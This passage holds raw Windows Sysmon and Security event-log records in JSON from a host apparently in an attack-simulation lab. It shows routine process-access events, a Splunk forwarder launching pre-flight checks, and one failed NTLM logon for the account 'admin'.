C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221480,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59017\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59017","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.015\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nSourceProcessId: 4016\r\nSourceThreadId: 4020\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.015","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","SourceProcessId":"4016","SourceThreadId":"4020","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.108\r\nProcessGuid: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nProcessId: 4060\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.108","ProcessGuid":"{90617006-3FE6-5F2D-0000-0010F6130300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nTargetProcessId: 4060\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","TargetProcessId":"4060","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nTargetProcessId: 4060\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","TargetProcessId":"4060","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 